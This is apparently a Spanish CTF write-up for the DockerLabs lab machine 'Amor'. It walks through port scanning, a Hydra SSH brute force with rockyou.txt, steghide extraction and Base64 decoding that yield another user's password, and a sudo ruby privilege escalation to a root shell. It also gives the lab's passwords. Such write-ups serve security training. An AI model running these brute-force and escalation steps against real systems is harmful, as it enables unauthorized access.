Amor
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯Resolución
🔍 Reconocimiento
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-sVC: Escaneo de versiones de servicios y ejecución de scripts.-p-: Escanea todos los puertos (1-65535).-n: Desactiva la resolución DNS.--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.
El escaneo revela que los servicios SSH y HTTP están activos

Vemos la página

Como segundo paso, realizamos un escaneo de los posibles directorios de la página web utilizando el siguiente comando:
gobuster dir -u "http://172.17.0.2/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-u http://172.17.0.2/: URL del servidor web objetivo donde se realizará el escaneo.-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: Ruta al archivo de palabras (wordlist) que contiene posibles nombres de directorios y archivos a buscar.
Sin embargo, no se obtiene ningún resultado
🕵️ Análisis de vulnerabilidades
Al examinar la página web, encontramos algunos detalles típicos de un CTF. Es muy importante prestar atención a cualquier información que pueda servir como pista. Se menciona que existen contraseñas débiles. Además, identificamos dos posibles nombres de usuario: Carlota y Juan, aunque se sugiere que el usuario Juan ha sido despedido.

🎯 Explotación
Intentaremos realizar un ataque de fuerza bruta con Hydra para verificar las credenciales de los usuarios. Usaremos el siguiente comando:
hydra -l carlota -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 4
-l carlota: Especifica el nombre de usuario carlota para el ataque.-P /usr/share/wordlists/rockyou.txt: Utiliza el archivo rockyou.txt como lista de contraseñas para intentar hacer la autenticación.ssh://172.17.0.2: Indica que el ataque se realizará sobre el servicio SSH en la IP 172.17.0.2.-t 4: Define el número de tareas (hilos) a utilizar en el ataque, en este caso, 4 para aumentar la velocidad del proceso.
¡Y hemos tenido éxito! La contraseña es babygirl.

Nos conectamos a través de SSH utilizando el siguiente comando:
ssh carlota@172.17.0.2
📈 Escalada de privilegios
Lo primero que hacemos es explorar la carpeta personal del usuario en /home. Allí encontramos una carpeta llamada //fotos/, dentro de la cual hay una subcarpeta llamada vacaciones. En esta última, descubrimos una imagen llamada imagen.jpg. Descargamos la imagen para examinarlo mejor
scp carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg .

Al examinar la imagen, descubrimos que contiene un archivo oculto utilizando steghide, una herramienta de esteganografía. Para extraer los datos ocultos en la imagen imagen.jpg, usamos el siguiente comando:
steghide --extract -sf imagen.jpg
--extract: Indica que queremos extraer datos ocultos del archivo.-sf imagen.jpg: Especifica el archivo de imagen (imagen.jpg) del cual se extraerán los datos.
Cuando se te pida una passphrase para la extracción, simplemente presiona Enter.

Abrimos el archivo y parece que contiene datos en Base64, ya que observamos el carácter=al final, típico de este tipo de codificación.

Decodificamos el contenido en la página https://www.base64decode.org/es/, aunque también se pueden utilizar otras herramientas. La contraseña obtenida es eslacasadepinypon, la cual corresponde a otro usuario. Al explorar la carpeta/home, encontramos el directorio de oscar. Iniciamos sesión con el usuario oscar y verificamos qué acciones podemos realizar como administrador.
Ejecutamos el comando sudo -l para verificar qué podemos ejecutar como administrador sin necesidad de proporcionar una contraseña
sudo -l

Identificamos un servicio llamado RUBY que podemos ejecutar como administrador. Al consultar la página GTFOBins, encontramos que usando el siguiente comando podemos obtener privilegios de administrador:
sudo /usr/bin/ruby -e "exec '/bin/bash'"
